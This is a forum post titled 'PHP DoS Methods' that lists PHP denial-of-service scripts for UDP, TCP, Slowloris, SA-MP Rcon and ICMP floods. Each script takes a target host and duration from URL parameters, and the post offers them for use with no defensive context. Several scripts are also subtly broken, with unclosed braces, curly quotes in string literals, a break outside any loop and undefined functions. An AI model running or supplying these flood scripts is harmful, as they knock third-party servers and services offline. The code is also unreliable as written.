Jump to content
io.kent

PHP DoS Methods

Recommended Posts

Posted

UDP

<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);

$exec_time = $_GET['time'];

$time = time();
$max_time = $time+$exec_time;

$host = $_GET['host'];

for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
?>

UDP Method 2

<?php

$host = $_GET['host'];
set_time_limit(0);
$exec_time = (int)$_GET['time'];
$time = time();
$max_time = $time + $exec_time;

if(time() > $max_time)

{

break;

}

while(1){

$dataOut = “\x08\x00\x10\x26\x74\x65\x73\x74“;

if ($_GET['port'] == "rand")

{

$rand = rand(1,65535);

}

else

{

$rand = (int)filter($_GET['port']);

}

$socket = socket_create(AF_INET, SOCK_DGRAM, UDP);

socket_set_nonblock($socket);

socket_connect($socket, $host, $rand);

@socket_write($socket, $dataOut, strlen($dataOut));

socket_close($socket);}

echo "UDP flood complete after: {$exec_time} seconds";
?>

TCP

<?php
//TCP
if(isset($_GET['host'])&&isset($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);

$exec_time = $_GET['time'];

$time = time();
$max_time = $time+$exec_time;

$host = $_GET['host'];
$port = $_GET['port'];

for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen('tcp://'.$host, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
?>

Slowloris

<?php
$ip = $_GET['ip'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;

while(1){
if(time() > $max_time){
break;
}

$fp = fsockopen($ip, 80, $errno, $errstr, 140);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "POST / HTTP/1.1\r\n";
$out .= "Host: $ip\r\n";
$out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
$out .= "Content-Length: 42\r\n\r\n";

fwrite($fp, $out);
}
}
echo "Slowloris flood complete after: $exec_time seconds\n";
?>

SA-MP Rcon Flood

<?php
if(isset($_GET['host'])&&isset($_GET['port'])&&isset($_GET['time'])){
$packets = 0;
$fakepass = "4azr46a";
$fakecmd = "exit";
$sPacket = "";
ignore_user_abort(TRUE);
set_time_limit(0);

$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;
$host = $_GET['host'];
$port = $_GET['port'];

$aIPAddr = explode('.', $host);
$sPacket .= "SAMP";

$sPacket .= chr($aIPAddr[0]);
$sPacket .= chr($aIPAddr[1]);
$sPacket .= chr($aIPAddr[2]);
$sPacket .= chr($aIPAddr[3]);

$sPacket .= chr($port & 0xFF);
$sPacket .= chr($port >> 8 & 0xFF);

$sPacket .= 'x';

$sPacket .= chr(strlen($fakepass) & 0xFF);
$sPacket .= chr(strlen($fakepass) >> 8 & 0xFF);
$sPacket .= $fakepass;
$sPacket .= chr(strlen($fakecmd) & 0xFF);
$sPacket .= chr(strlen($fakecmd) >> 8 & 0xFF);
$sPacket .= $fakecmd;

while(1){
$packets++;
if(time() > $max_time){
break;
}
//$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 2);
fwrite($fp, $sPacket);
if($fp){
fwrite($rSocket, $sPacket);
fclose($fp);
}
?>

ICMP

<?php

$host = $_GET['host'];
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
$max_time = $time + $exec_time;

if(time() > $max_time)

{

break;

}

while(1){
// 08 (ECHO), 00 (No Code), 10 26 (Checksum), 74 65 73 74 (The data: “test”)
$dataOut = “\x08\x00\x10\x26\x74\x65\x73\x74“;

// Raw socket, ICMP protocol
$socket = socket_create(AF_INET, SOCK_RAW, 1);

// Non blocking as in the actual script it is many sockets to different machines
socket_set_nonblock($socket);

// Connect to local machine (or any machine)
socket_connect($socket, $host, null);

// Send $dataOut
@socket_write($socket, $dataOut, strlen($dataOut));

// Close socket
socket_close($socket);}

echo "ICMP flood complete after: {$exec_time} seconds";
?>

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...